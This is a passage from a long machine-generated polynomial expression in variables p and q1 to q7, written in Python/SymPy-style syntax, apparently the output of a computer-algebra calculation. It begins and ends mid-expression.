630*p**4*q4**2*q5*q6*q7**2 + 3780*p**4*q4**2*q5*q6*q7 - 9450*p**4*q4**2*q5*q6 - 630*p**4*q4*q5**4*q6 - 630*p**4*q4*q5**3*q6**2 - 630*p**4*q4*q5**3*q6*q7 + 3780*p**4*q4*q5**3*q6 - 630*p**4*q4*q5**2*q6**3 - 630*p**4*q4*q5**2*q6**2*q7 + 3780*p**4*q4*q5**2*q6**2 - 630*p**4*q4*q5**2*q6*q7**2 + 3780*p**4*q4*q5**2*q6*q7 - 9450*p**4*q4*q5**2*q6 - 630*p**4*q4*q5*q6**4 - 630*p**4*q4*q5*q6**3*q7 + 3780*p**4*q4*q5*q6**3 - 630*p**4*q4*q5*q6**2*q7**2 + 3780*p**4*q4*q5*q6**2*q7 - 9450*p**4*q4*q5*q6**2 - 630*p**4*q4*q5*q6*q7**3 + 3780*p**4*q4*q5*q6*q7**2 - 9450*p**4*q4*q5*q6*q7 + 12600*p**4*q4*q5*q6 + 252*p**4*q5**4*q6 + 252*p**4*q5**3*q6**2 + 252*p**4*q5**3*q6*q7 - 1260*p**4*q5**3*q6 + 252*p**4*q5**2*q6**3 + 252*p**4*q5**2*q6**2*q7 - 1260*p**4*q5**2*q6**2 + 252*p**4*q5**2*q6*q7**2 - 1260*p**4*q5**2*q6*q7 + 2520*p**4*q5**2*q6 + 252*p**4*q5*q6**4 + 252*p**4*q5*q6**3*q7 - 1260*p**4*q5*q6**3 + 252*p**4*q5*q6**2*q7**2 - 1260*p**4*q5*q6**2*q7 + 2520*p**4*q5*q6**2 + 252*p**4*q5*q6*q7**3 - 1260*p**4*q5*q6*q7**2 + 2520*p**4*q5*q6*q7 - 2520*p**4*q5*q6 - 200*p**3*q1**4*q2*q3*q4*q5*q6 - 200*p**3*q1**3*q2**2*q3*q4*q5*q6 - 200*p**3*q1**3*q2*q3**2*q4*q5*q6 - 200*p**3*q1**3*q2*q3*q4**2*q5*q6 - 200*p**3*q1**3*q2*q3*q4*q5**2*q6 - 200*p**3*q1**3*q2*q3*q4*q5*q6**2 - 200*p**3*q1**3*q2*q3*q4*q5*q6*q7 + 1800*p**3*q1**3*q2*q3*q4*q5*q6 - 200*p**3*q1**2*q2**3*q3*q4*q5*q6 - 200*p**3*q1**2*q2**2*q3**2*q4*q5*q6 - 200*p**3*q1**2*q2**2*q3*q4**2*q5*q6 - 200*p**3*q1**2*q2**2*q3*q4*q5**2*q6 - 200*p**3*q1**2*q2**2*q3*q4*q5*q6**2 - 200*p**3*q1**2*q2**2*q3*q4*q5*q6*q7 + 1800*p**3*q1**2*q2**2*q3*q4*q5*q6 - 200*p**3*q1**2*q2*q3**3*q4*q5*q6 - 200*p**3*q1**2*q2*q3**2*q4**2*q5*q6 - 200*p**3*q1**2*q2*q3**2*q4*q5**2*q6 - 200*p**3*q1**2*q2*q3**2*q4*q5*q6**2 - 200*p**3*q1**2*q2*q3**2*q4*q5*q6*q7 + 1800*p**3*q1**2*q2*q3**2*q4*q5*q6 - 200*p**3*q1**2*q2*q3*q4**3*q5*q6 - 200*p**3*q1**2*q2*q3*q4**2*q5**2*q6 - 200*p**3*q1**2*q2*q3*q4**2*q5*q6**2 - 200*p**3*q1**2*q2*q3*q4**2*q5*q6*q7 + 1800*p**3*q1**2*q2*q3*q4**2*q5*q6 - 200*p**3*q1**2*q2*q3*q4*q5**3*q6 - 200*p**3*q1**2*q2*q3*q4*q5**2*q6**2 - 200*p**3*q1**2*q2*q3*q4*q5**2*q6*q7 + 1800*p**3*q1**2*q2*q3*q4*q5**2*q6 - 200*p**3*q1**2*q2*q3*q4*q5*q6**3 - 200*p**3*q1**2*q2*q3*q4*q5*q6**2*q7 + 1800*p**3*q1**2*q2*q3*q4*q5*q6**2 - 200*p**3*q1**2*q2*q3*q4*q5*q6*q7**2 + 1800*p**3*q1**2*q2*q3*q4*q5*q6*q7 - 7200*p**3*q1**2*q2*q3*q4*q5*q6 - 200*p**3*q1*q2**4*q3*q4*q5*q6 - 200*p**3*q1*q2**3*q3**2*q4*q5*q6 - 200*p**3*q1*q2**3*q3*q4**2*q5*q6 - 200*p**3*q1*q2**3*q3*q4*q5**2*q6 - 200*p**3*q1*q2**3*q3*q4*q5*q6**2 - 200*p**3*q1*q2**3*q3*q4*q5*q6*q7 + 1800*p**3*q1*q2**3*q3*q4*q5*q6 - 200*p**3*q1*q2**2*q3**3*q4*q5*q6 - 200*p**3*q1*q2**2*q3**2*q4**2*q5*q6 - 200*p**3*q1*q2**2*q3**2*q4*q5**2*q6 - 200*p**3*q1*q2**2*q3**2*q4*q5*q6**2 - 200*p**3*q1*q2**2*q3**2*q4*q5*q6*q7 + 1800*p**3*q1*q2**2*q3**2*q4*q5*q6 - 200*p**3*q1*q2**2*q3*q4**3*q5*q6 - 200*p**3*q1*q2**2*q3*q4**2*q5**2*q6 - 200*p**3*q1*q2**2*q3*q4**2*q5*q6**2 - 200*p**3*q1*q2**2*q3*q4**2*q5*q6*q7 + 1800*p**3*q1*q2**2*q3*q4**2*q5*q6 - 200*p**3*q1*q2**2*q3*q4*q5**3*q6 - 200*p**3*q1*q2**2*q3*q4*q5**2*q6**2 - 200*p**3*q1*q2**2*q3*q4*q5**2*q6*q7 + 1800*p**3*q1*q2**2*q3*q4*q5**2*q6 - 200*p**3*q1*q2**2*q3*q4*q5*q6**3 - 200*p**3*q1*q2**2*q3*q4*q5*q6**2*q7 + 1800*p**3*q1*q2**2*q3*q4*q5*q6**2 - 200*p**3*q1*q2**2*q3*q4*q5*q6*q7**2 + 1800*p**3*q1*q2**2*q3*q4*q5*q6*q7 - 7200*p**3*q1*q2**2*q3*q4*q5*q6 - 200*p**3*q1*q2*q3**4*q4*q5*q6 - 200*p**3*q1*q2*q3**3*q4**2*q5*q6 - 200*p**3*q1*q2*q3**3*q4*q5**2*q6 - 200*p**3*q1*q2*q3**3*q4*q5*q6**2 - 200*p**3*q1*q2*q3**3*q4*q5*q6*q7 + 1800*p**3*q1*q2*q3**3*q4*q5*q6 - 200*p**3*q1*q2*q3**2*q4**3*q5*q6 - 200*p**3*q1*q2*q3**2*q4**2*q5**2*q6 - 200*p**3*q1*q2*q3**2*q4**2*q5*q6**2 - 200*p**3*q1*q2*q3**2*q4**2*q5*q6*q7 + 1800*p**3*q1*q2*q3**2*q4**2*q5*q6 - 200*p**3*q1*q2*q3**2*q4*q5**3*q6 - 200*p**3*q1*q2*q3**2*q4*q5**2*q6**2 - 200*p**3*q1*q2*q3**2*q4*q5**2*q6*q7 + 1800*p**3*q1*q2*q3**2*q4*q5**2*q6 - 200*p**3*q1*q2*q3**2*q4*q5*q6**3 - 200*p**3*q1*q2*q3**2*q4*q5*q6**2*q7 + 1800*p**3*q1*q2*q3**2*q4*q5*q6**2 - 200*p**3*q1*q2*q3**2*q4*q5*q6*q7**2 + 1800*p**3*q1*q2*q3**2*q4*q5*q6*q7 - 7200*p**3*q1*q2*q3**2*q4*q5*q6 - 200*p**3*q1*q2*q3*q4**4*q5*q6 - 200*p**3*q1*q2*q3*q4**3*q5**2*q6 - 200*p**3*q1*q2*q3*q4**3*q5*q6**2 - 200*p**3*q1*q2*q3*q4**3*q5*q6*q7 + 1800*p**3*q1*q2*q3*q4**3*q5*q6 - 200*p**3*q1*q2*q3*q4**2*q5**3*q6 - 200*p**3*q1*q2*q3*q4**2*q5**2*q6**2 - 200*p**3*q1*q2*q3*q4**2*q5**2*q6*q7 + 1800*p**3*q1*q2*q3*q4**2*q5**2*q6 - 200*p**3*q1*q2*q3*q4**2*q5*q6**3 - 200*p**3*q1*q2*q3*q4**2*q5*q6**2*q7 + 1800*p**3*q1*q2*q3*q4**2*q5*q6**2 - 200*p**3*q1*q2*q3*q4**2*q5*q6*q7**2 + 1800*p**3*q1*q2*q3*q4**2*q5*q6*q7 - 7200*p**3*q1*q2*q3*q4**2*q5*q6 - 200*p**3*q1*q2*q3*q4*q5**4*q6 - 200*p**3*q1*q2*q3*q4*q5**3*q6**2 - 200*p**3*q1*q2*q3*q4*q5**3*q6*q7 + 1800*p**3*q1*q2*q3*q4*q5**3*q6 - 200*p**3*q1*q2*q3*q4*q5**2*q6**3 - 200*p**3*q1*q2*q3*q4*q5**2*q6**2*q7 + 1800*p**3*q1*q2*q3*q4*q5**2*q6**2 - 200*p**3*q1*q2*q3*q4*q5**2*q6*q7**2 + 1800*p**3*q1*q2*q3*q4*q5**2*q6*q7 - 7200*p**3*q1*q2*q3*q4*q5**2*q6 - 200*p**3*q1*q2*q3*q4*q5*q6**4 - 200*p**3*q1*q2*q3*q4*q5*q6**3*q7 + 1800*p**3*q1*q2*q3*q4*q5*q6**3 - 200*p**3*q1*q2*q3*q4*q5*q6**2*q7**2 + 1800*p**3*q1*q2*q3*q4*q5*q6**2*q7 - 7200*p**3*q1*q2*q3*q4*q5*q6**2 - 200*p**3*q1*q2*q3*q4*q5*q6*q7**3 + 1800*p**3*q1*q2*q3*q4*q5*q6*q7**2 - 7200*p**3*q1*q2*q3*q4*q5*q6*q7 + 16800*p**3*q1*q2*q3*q4*q5*q6 + 450*p**3*q2**4*q3*q4*q5*q6 + 450*p**3*q2**3*q3**2*q4*q5*q6 + 450*p**3*q2**3*q3*q4**2*q5*q6 + 450*p**3*q2**3*q3*q4*q5**2*q6 + 450*p**3*q2**3*q3*q4*q5*q6**2 + 450*p**3*q2**3*q3*q4*q5*q6*q7 - 3600*p**3*q2**3*q3*q4*q5*q6 + 450*p**3*q2**2*q3**3*q4*q5*q6 + 450*p**3*q2**2*q3**2*q4**2*q5*q6 + 450*p**3*q2**2*q3**2*q4*q5**2*q6 + 450*p**3*q2**2*q3**2*q4*q5*q6**2 + 450*p**3*q2**2*q3**2*q4*q5*q6*q7 - 3600*p**3*q2**2*q3**2*q4*q5*q6 + 450*p**3*q2**2*q3*q4**3*q5*q6 + 450*p**3*q2**2*q3*q4**2*q5**2*q6 + 450*p**3*q2**2*q3*q4**2*q5*q6**2 + 450*p**3*q2**2*q3*q4**2*q5*q6*q7 - 3600*p**3*q2**2*q3*q4**2*q5*q6 + 450*p**3*q2**2*q3*q4*q5**3*q6 + 450*p**3*q2**2*q3*q4*q5**2*q6**2 + 450*p**3*q2**2*q3*q4*q5**2*q6*q7 - 3600*p**3*q2**2*q3*q4*q5**2*q6 + 450*p**3*q2**2*q3*q4*q5*q6**3 + 450*p**3*q2**2*q3*q4*q5*q6**2*q7 - 3600*p**3*q2**2*q3*q4*q5*q6**2 + 450*p**3*q2**2*q3*q4*q5*q6*q7**2 - 3600*p**3*q2**2*q3*q4*q5*q6*q7 + 12600*p**3*q2**2*q3*q4*q5*q6 + 450*p**3*q2*q3**4*q4*q5*q6 + 450*p**3*q2*q3**3*q4**2*q5*q6 + 450*p**3*q2*q3**3*q4*q5**2*q6 + 450*p**3*q2*q3**3*q4*q5*q6**2 + 450*p**3*q2*q3**3*q4*q5*q6*q7 - 3600*p**3*q2*q3**3*q4*q5*q6 + 450*p**3*q2*q3**2*q4**3*q5*q6 + 450*p**3*q2*q3**2*q4**2*q5**2*q6 + 450*p**3*q2*q3**2*q4**2*q5*q6**2 + 450*p**3*q2*q3**2*q4**2*q5*q6*q7 - 3600*p**3*q2*q3**2*q4**2*q5*q6 + 450*p**3*q2*q3**2*q4*q5**3*q6 + 450*p**3*q2*q3**2*q4*q5**2*q6**2 + 450*p**3*q2*q3**2*q4*q5**2*q6*q7 - 3600*p**3*q2*q3**2*q4*q5**2*q6 + 450*p**3*q2*q3**2*q4*q5*q6**3 + 450*p**3*q2*q3**2*q4*q5*q6**2*q7 - 3600*p**3*q2*q3**2*q4*q5*q6**2 + 450*p**3*q2*q3**2*q4*q5*q6*q7**2 - 3600*p**3*q2*q3**2*q4*q5*q6*q7 + 12600*p**3*q2*q3**2*q4*q5*q6 + 450*p**3*q2*q3*q4**4*q5*q6 + 450*p**3*q2*q3*q4**3*q5**2*q6 + 450*p**3*q2*q3*q4**3*q5*q6**2 + 450*p**3*q2*q3*q4**3*q5*q6*q7 - 3600*p**3*q2*q3*q4**3*q5*q6 + 450*p**3*q2*q3*q4**2*q5**3*q6 + 450*p**3*q2*q3*q4**2*q5**2*q6**2 + 450*p**3*q2*q3*q4**2*q5**2*q6*q7 - 3600*p**3*q2*q3*q4**2*q5**2*q6 + 450*p**3*q2*q3*q4**2*q5*q6**3 + 450*p**3*q2*q3*q4**2*q5*q6**2*q7 - 3600*p**3*q2*q3*q4**2*q5*q6**2 + 450*p**3*q2*q3*q4**2*q5*q6*q7**2 - 3600*p**3*q2*q3*q4**2*q5*q6*q7 + 12600*p**3*q2*q3*q4**2*q5*q6 + 450*p**3*q2*q3*q4*q5**4*q6 + 450*p**3*q2*q3*q4*q5**3*q6**2 + 450*p**3*q2*q3*q4*q5**3*q6*q7 - 3600*p**3*q2*q3*q4*q5**3*q6 + 450*p**3*q2*q3*q4*q5**2*q6**3 + 450*p**3*q2*q3*q4*q5**2*q6**2*q7 - 3600*p**3*q2*q3*q4*q5**2*q6**2 + 450*p**3*q2*q3*q4*q5**2*q6*q7**2 - 3600*p**3*q2*q3*q4*q5**2*q6*q7 + 12600*p**3*q2*q3*q4*q5**2*q6 + 450*p**3*q2*q3*q4*q5*q6**4 + 450*p**3*q2*q3*q4*q5*q6**3*q7 - 3600*p**3*q2*q3*q4*q5*q6**3 + 450*p**3*q2*q3*q4*q5*q6**2*q7**2 - 3600*p**3*q2*q3*q4*q5*q6**2*q7 + 12600*p**3*q2*q3*q4*q5*q6**2 + 450*p**3*q2*q3*q4*q5*q6*q7**3 - 3600*p**3*q2*q3*q4*q5*q6*q7**2 + 12600*p**3*q2*q3*q4*q5*q6*q7 - 25200*p**3*q2*q3*q4*q5*q6 - 480*p**3*q3**4*q4*q5*q6 - 480*p**3*q3**3*q4**2*q5*q6 - 480*p**3*q3**3*q4*q5**2*q6 - 480*p**3*q3**3*q4*q5*q6**2 - 480*p**3*q3**3*q4*q5*q6*q7 + 3360*p**3*q3**3*q4*q5*q6 - 480*p**3*q3**2*q4**3*q5*q6 - 480*p**3*q3**2*q4**2*q5**2*q6 - 480*p**3*q3**2*q4**2*q5*q6**2 - 480*p**3*q3**2*q4**2*q5*q6*q7 + 3360*p**3*q3**2*q4**2*q5*q6 - 480*p**3*q3**2*q4*q5**3*q6 - 480*p**3*q3**2*q4*q5**2*q6**2 - 480*p**3*q3**2*q4*q5**2*q6*q7 + 3360*p**3*q3**2*q4*q5**2*q6 - 480*p**3*q3**2*q4*q5*q6**3 - 480*p**3*q3**2*q4*q5*q6**2*q7 + 3360*p**3*q3**2*q4*q5*q6**2 - 480*p**3*q3**2*q4*q5*q6*q7**2 + 3360*p**3*q3**2*q4*q5*q6*q7 - 10080*p**3*q3**2*q4*q5*q6 - 480*p**3*q3*q4**4*q5*q6 - 480*p**3*q3*q4**3*q5**2*q6 - 480*p**3*q3*q4**3*q5*q6**2 - 480*p**3*q3*q4**3*q5*q6*q7 + 3360*p**3*q3*q4**3*q5*q6 - 480*p**3*q3*q4**2*q5**3*q6 - 480*p**3*q3*q4**2*q5**2*q6**2 - 480*p**3*q3*q4**2*q5**2*q6*q7 + 3360*p**3*q3*q4**2*q5**2*q6 - 480*p**3*q3*q4**2*q5*q6**3 - 480*p**3*q3*q4**2*q5*q6**2*q7 + 3360*p**3*q3*q4**2*q5*q6**2 - 480*p**3*q3*q4**2*q5*q6*q7**2 + 3360*p**3*q3*q4**2*q5*q6*q7 - 10080*p**3*q3*q4**2*q5*q6 - 480*p**3*q3*q4*q5**4*q6 - 480*p**3*q3*q4*q5**3*q6**2 - 480*p**3*q3*q4*q5**3*q6*q7 + 3360*p**3*q3*q4*q5**3*q6 - 480*p**3*q3*q4*q5**2*q6**3 - 480*p**3*q3*q4*q5**2*q6**2*q7 + 3360*p**3*q3*q4*q5**2*q6**2 - 480*p**3*q3*q4*q5**2*q6*q7**2 + 3360*p**3*q3*q4*q5**2*q6*q7 - 10080*p**3*q3*q4*q5**2*q6 - 480*p**3*q3*q4*q5*q6**4 - 480*p**3*q3*q4*q5*q6**3*q7 + 3360*p**3*q3*q4*q5*q6**3 - 480*p**3*q3*q4*q5*q6**2*q7**2 + 3360*p**3*q3*q4*q5*q6**2*q7 - 10080*p**3*q3*q4*q5*q6**2 - 480*p**3*q3*q4*q5*q6*q7**3 + 3360*p**3*q3*q4*q5*q6*q7**2 - 10080*p**3*q3*q4*q5*q6*q7 + 16800*p**3*q3*q4*q5*q6 + 210*p**3*q4**4*q5*q6 + 210*p**3*q4**3*q5**2*q6 + 210*p**3*q4**3*q5*q6**2 + 210*p**3*q4**3*q5*q6*q7 - 1260*p**3*q4**3*q5*q6 + 210*p**3*q4**2*q5**3*q6 + 210*p**3*q4**2*q5**2*q6**2 + 210*p**3*q4**2*q5**2*q6*q7 - 1260*p**3*q4**2*q5**2*q6 + 210*p**3*q4**2*q5*q6**3 + 210*p**3*q4**2*q5*q6**2*q7 - 1260*p**3*q4**2*q5*q6**2 + 210*p**3*q4**2*q5*q6*q7**2 - 1260*p**3*q4**2*q5*q6*q7 + 3150*p**3*q4**2*q5*q6 + 210*p**3*q4*q5**4*q6 + 210*p**3*q4*q5**3*q6**2 + 210*p**3*q4*q5**3*q6*q7 - 1260*p**3*q4*q5**3*q6 + 210*p**3*q4*q5**2*q6**3 + 210*p**3*q4*q5**2*q6**2*q7 - 1260*p**3*q4*q5**2*q6**2 + 210*p**3*q4*q5**2*q6*q7**2 - 1260*p**3*q4*q5**2*q6*q7 + 3150*p**3*q4*q5**2*q6 + 210*p**3*q4*q5*q6**4 + 210*p**3*q4*q5*q6**3*q7 - 1260*p**3*q4*q5*q6**3 + 210*p**3*q4*q5*q6**2*q7**2 - 1260*p**3*q4*q5*q6**2*q7 + 3150*p**3*q4*q5*q6**2 + 210*p**3*q4*q5*q6*q7**3 - 1260*p**3*q4*q5*q6*q7**2 + 3150*p**3*q4*q5*q6*q7 - 4200*p**3*q4*q5*q6 + 150*p**2*q1**4*q2*q3*q4*q5*q6 + 150*p**2*q1**3*q2**2*q3*q4*q5*q6 + 150*p**2*q1**3*q2*q3**2*q4*q5*q6 + 150*p**2*q1**3*q2*q3*q4**2*q5*q6 + 150*p**2*q1**3*q2*q3*q4*q5**2*q6 + 150*p**2*q1**3*q2*q3*q4*q5*q6**2 + 150*p**2*q1**3*q2*q3*q4*q5*q6*q7 - 1350*p**2*q1**3*q2*q3*q4*q5*q6 + 150*p**2*q1**2*q2**3*q3*q4*q5*q6 + 150*p**2*q1**2*q2**2*q3**2*q4*q5*q6 + 150*p**2*q1**2*q2**2*q3*q4**2*q5*q6 + 150*p**2*q1**2*q2**2*q3*q4*q5**2*q6 + 150*p**2*q1**2*q2**2*q3*q4*q5*q6**2 + 150*p**2*q1**2*q2**2*q3*q4*q5*q6*q7 - 1350*p**2*q1**2*q2**2*q3*q4*q5*q6 + 150*p**2*q1**2*q2*q3**3*q4*q5*q6 + 150*p**2*q1**2*q2*q3**2*q4**2*q5*q6 + 150*p**2*q1**2*q2*q3**2*q4*q5**2*q6 + 150*p**2*q1**2*q2*q3**2*q4*q5*q6**2 + 150*p**2*q1**2*q2*q3**2*q4*q5*q6*q7 - 1350*p**2*q1**2*q2*q3**2*q4*q5*q6 + 150*p**2*q1**2*q2*q3*q4**3*q5*q6 + 150*p**2*q1**2*q2*q3*q4**2*q5**2*q6 + 150*p**2*q1**2*q2*q3*q4**2*q5*q6**2 + 150*p**2*q1**2*q2*q3*q4**2*q5*q6*q7 - 1350*p**2*q1**2*q2*q3*q4**2*q5*q6 + 150*p**2*q1**2*q2*q3*q4*q5**3*q6 + 150*p**2*q1**2*q2*q3*q4*q5**2*q6**2 + 150*p**2*q1**2*q2*q3*q4*q5**2*q6*q7 - 1350*p**2*q1**2*q2*q3*q4*q5**2*q6 + 150*p**2*q1**2*q2*q3*q4*q5*q6**3 + 150*p**2*q1**2*q2*q3*q4*q5*q6**2*q7 - 1350*p**2*q1**2*q2*q3*q4*q5*q6**2 + 150*p**2*q1**2*q2*q3*q4*q5*q6*q7**2 - 1350*p**2*q1**2*q2*q3*q4*q5*q6*q7 + 5400*p**2*q1**2*q2*q3*q4*q5*q6 + 150*p**2*q1*q2**4*q3*q4*q5*q6 + 150*p**2*q1*q2**3*q3**2*q4*q5*q6 + 150*p**2*q1*q2**3*q3*q4**2*q5*q6 + 150*p**2*q1*q2**3*q3*q4*q5**2*q6 + 150*p**2*q1*q2**3*q3*q4*q5*q6**2 + 150*p**2*q1*q2**3*q3*q4*q5*q6*q7 - 1350*p**2*q1*q2**3*q3*q4*q5*q6 + 150*p**2*q1*q2**2*q3**3*q4*q5*q6 + 150*p**2*q1*q2**2*q3**2*q4**2*q5*q6 + 150*p**2*q1*q2**2*q3**2*q4*q5**2*q6 + 150*p**2*q1*q2**2*q3**2*q4*q5*q6**2 + 150*p**2*q1*q2**2*q3**2*q4*q5*q6*q7 - 1350*p**2*q1*q2**2*q3**2*q4*q5*q6 + 150*p**2*q1*q2**2*q3*q4**3*q5*q6 + 150*p**2*q1*q2**2*q3*q4**2*q5**2*q6 + 150*p**2*q1*q2**2*q3*q4**2*q5*q6**2 + 150*p**2*q1*q2**2*q3*q4**2*q5*q6*q7 - 1350*p**2*q1*q2**2*q3*q4**2*q5*q6 + 150*p**2*q1*q2**2*q3*q4*q5**3*q6 + 150*p**2*q1*q2**2*q3*q4*q5**2*q6**2 + 150*p**2*q1*q2**2*q3*q4*q5**2*q6*q7 - 1350*p**2*q1*q2**2*q3*q4*q5**2*q6 + 150*p**2*q1*q2**2*q3*q4*q5*q6**3 + 150*p**2*q1*q2**2*q3*q4*q5*q6**2*q7 - 1350*p**2*q1*q2**2*q3*q4*q5*q6**2 + 150*p**2*q1*q2**2*q3*q4*q5*q6*q7**2 - 1350*p**2*q1*q2**2*q3*q4*q5*q6*q7 + 5400*p**2*q1*q2**2*q3*q4*q5*q6 + 150*p**2*q1*q2*q3**4*q4*q5*q6 + 150*p**2*q1*q2*q3**3*q4**2*q5*q6 + 150*p**2*q1*q2*q3**3*q4*q5**2*q6 + 150*p**2*q1*q2*q3**3*q4*q5*q6**2 + 150*p**2*q1*q2*q3**3*q4*q5*q6*q7 - 1350*p**2*q1*q2*q3**3*q4*q5*q6 + 150*p**2*q1*q2*q3**2*q4**3*q5*q6 + 150*p**2*q1*q2*q3**2*q4**2*q5**2*q6 + 150*p**2*q1*q2*q3**2*q4**2*q5*q6**2 + 150*p**2*q1*q2*q3**2*q4**2*q5*q6*q7 - 1350*p**2*q1*q2*q3**2*q4**2*q5*q6 + 150*p**2*q1*q2*q3**2*q4*q5**3*q6 + 150*p**2*q1*q2*q3**2*q4*q5**2*q6**2 + 150*p**2*q1*q2*q3**2*q4*q5**2*q6*q7 - 1350*p**2*q1*q2*q3**2*q4*q5**2*q6 + 150*p**2*q1*q2*q3**2*q4*q5*q6**3 + 150*p**2*q1*q2*q3**2*q4*q5*q6**2*q7 - 1350*p**2*q1*q2*q3**2*q4*q5*q6**2 + 150*p**2*q1*q2*q3**2*q4*q5*q6*q7**2 - 1350*p**2*q1*q2*q3**2*q4*q5*q6*q7 + 5400*p**2*q1*q2*q3**2*q4*q5*q6 + 150*p**2*q1*q2*q3*q4**4*q5*q6 + 150*p**2*q1*q2*q3*q4**3*q5**2*q6 + 150*p**2*q1*q2*q3*q4**3*q5*q6**2 + 150*p**2*q1*q2*q3*q4**3*q5*q6*q7 - 1350*p**2*q1*q2*q3*q4**3*q5*q6 + 150*p**2*q1*q2*q3*q4**2*q5**3*q6 + 150*p**2*q1*q2*q3*q4**2*q5**2*q6**2 + 150*p**2*q1*q2*q3*q4**2*q5**2*q6*q7 - 1350*p**2*q1*q2*q3*q4**2*q5**2*q6 + 150*p**2*q1*q2*q3*q4**2*q5*q6**3 + 150*p**2*q1*q2*q3*q4**2*q5*q6**2*q7 - 1350*p**2*q1*q2*q3*q4**2*q5*q6**2 + 150*p**2*q1*q2*q3*q4**2*q5*q6*q7**2 - 1350*p**2*q1*q2*q3*q4**2*q5*q6*q7 + 5400*p**2*q1*q2*q3*q4**2*q5*q6 + 150*p**2*q1*q2*q3*q4*q5**4*q6 + 150*p**2*q1*q2*q3*q4*q5**3*q6**2 + 150*p**2*q1*q2*q3*q4*q5**3*q6*q7 - 1350*p**2*q1*q2*q3*q4*q5**3*q6 + 150*p**2*q1*q2*q3*q4*q5**2*q6**3 + 150*p**2*q1*q2*q3*q4*q5**2*q6**2*q7 - 1350*p**2*q1*q2*q3*q4*q5**2*q6**2 + 150*p**2*q1*q2*q3*q4*q5**2*q6*q7**2 - 1350*p**2*q1*q2*q3*q4*q5**2*q6*q7 + 5400*p**2*q1*q2*q3*q4*q5**2*q6 + 150*p**2*q1*q2*q3*q4*q5*q6**4 + 150*p**2*q1*q2*q3*q4*q5*q6**3*q7 - 1350*p**2*q1*q2*q3*q4*q5*q6**3 + 150*p**2*q1*q2*q3*q4*q5*q6**2*q7**2 - 1350*p**2*q1*q2*q3*q4*q5*q6**2*q7 + 5400*p**2*q1*q2*q3*q4*q5*q6**2 + 150*p**2*q1*q2*q3*q4*q5*q6*q7**3 - 1350*p**2*q1*q2*q3*q4*q5*q6*q7**2 + 5400*p**2*q1*q2*q3*q4*q5*q6*q7 - 12600*p**2*q1*q2*q3*q4*q5*q6 - 225*p**2*q2**4*q3*q4*q5*q6 - 225*p**2*q2**3*q3**2*q4*q5*q6 - 225*p**2*q2**3*q3*q4**2*q5*q6 - 225*p**2*q2**3*q3*q4*q5**2*q6 - 225*p**2*q2**3*q3*q4*q5*q6**2 - 225*p**2*q2**3*q3*q4*q5*q6*q7 + 1800*p**2*q2**3*q3*q4*q5*q6 - 225*p**2*q2**2*q3**3*q4*q5*q6 - 225*p**2*q2**2*q3**2*q4**2*q5*q6 - 225*p**2*q2**2*q3**2*q4*q5**2*q6 - 225*p**2*q2**2*q3**2*q4*q5*q6**2 - 225*p**2*q2**2*q3**2*q4*q5*q6*q7 + 1800*p**2*q2**2*q3**2*q4*q5*q6 - 225*p**2*q2**2*q3*q4**3*q5*q6 - 225*p**2*q2**2*q3*q4**2*q5**2*q6 - 225*p**2*q2**2*q3*q4**2*q5*q6**2 - 225*p**2*q2**2*q3*q4**2*q5*q6*q7 + 1800*p**2*q2**2*q3*q4**2*q5*q6 - 225*p**2*q2**2*q3*q4*q5**3*q6 - 225*p**2*q2**2*q3*q4*q5**2*q6**2 - 225*p**2*q2**2*q3*q4*q5**2*q6*q7 + 1800*p**2*q2**2*q3*q4*q5**2*q6 - 225*p**2*q2**2*q3*q4*q5*q6**3 - 225*p**2*q2**2*q3*q4*q5*q6**2*q7 + 1800*p**2*q2**2*q3*q4*q5*q6**2 - 225*p**2*q2**2*q3*q4*q5*q6*q7**2 + 1800*p**2*q2**2*q3*q4*q5*q6*q7 - 6300*p**2*q2**2*q3*q4*q5*q6 - 225*p**2*q2*q3**4*q4*q5*q6 - 225*p**2*q2*q3**3*q4**2*q5*q6 - 225*p**2*q2*q3**3*q4*q5**2*q6 - 225*p**2*q2*q3**3*q4*q5*q6**2 - 225*p**2*q2*q3**3*q4*q5*q6*q7 + 1800*p**2*q2*q3**3*q4*q5*q6 - 225*p**2*q2*q3**2*q4**3*q5*q6 - 225*p**2*q2*q3**2*q4**2*q5**2*q6 - 225*p**2*q2*q3**2*q4**2*q5*q6**2 - 225*p**2*q2*q3**2*q4**2*q5*q6*q7 + 1800*p**2*q2*q3**2*q4**2*q5*q6 - 225*p**2*q2*q3**2*q4*q5**3*q6 - 225*p**2*q2*q3**2*q4*q5**2*q6**2 - 225*p**2*q2*q3**2*q4*q5**2*q6*q7 + 1800*p**2*q2*q3**2*q4*q5**2*q6 - 225*p**2*q2*q3**2*q4*q5*q6**3 - 225*p**2*q2*q3**2*q4*q5*q6**2*q7 + 1800*p**2*q2*q3**2*q4*q5*q6**2 - 225*p**2*q2*q3**2*q4*q5*q6*q7**2 + 1800*p**2*q2*q3**2*q4*q5*q6*q7 - 6300*p**2*q2*q3**2*q4*q5*q6 - 225*p**2*q2*q3*q4**4*q5*q6 - 225*p**2*q2*q3*q4**3*q5**2*q6 - 225*p**2*q2*q3*q4**3*q5*q6**2 - 225*p**2*q2*q3*q4**3*q5*q6*q7 + 1800*p**2*q2*q3*q4**3*q5*q6 - 225*p**2*q2*q3*q4**2*q5**3*q6 - 225*p**2*q2*q3*q4**2*q5**2*q6**2 - 225*p**2*q2*q3*q4**2*q5**2*q6*q7 + 1800*p**2*q2*q3*q4**2*q5**2*q6 - 225*p**2*q2*q3*q4**2*q5*q6**3 - 225*p**2*q2*q3*q4**2*q5*q6**2*q7 + 1800*p**2*q2*q3*q4**2*q5*q6**2 - 225*p**2*q2*q3*q4**2*q5*q6*q7**2 + 1800*p**2*q2*q3*q4**2*q5*q6*q7 - 6300*p**2*q2*q3*q4**2*q5*q6 - 225*p**2*q2*q3*q4*q5**4*q6 - 225*p**2*q2*q3*q4*q5**3*q6**2 - 225*p**2*q2*q3*q4*q5**3*q6*q7 + 1800*p**2*q2*q3*q4*q5**3*q6 - 225*p**2*q2*q3*q4*q5**2*q6**3 - 225*p**2*q2*q3*q4*q5**2*q6**2*q7 + 1800*p**2*q2*q3*q4*q5**2*q6**2 - 225*p**2*q2*q3*q4*q5**2*q6*q7**2 + 1800*p**2*q2*q3*q4*q5**2*q6*q7 - 6300*p**2*q2*q3*q4*q5**2*q6 - 225*p**2*q2*q3*q4*q5*q6**4 - 225*p**2*q2*q3*q4*q5*q6**3*q7 + 1800*p**2*q2*q3*q4*q5*q6**3 - 225*p**2*q2*q3*q4*q5*q6**2*q7**2 + 1800*p**2*q2*q3*q4*q5*q6**2*q7 - 6300*p**2*q2*q3*q4*q5*q6**2 - 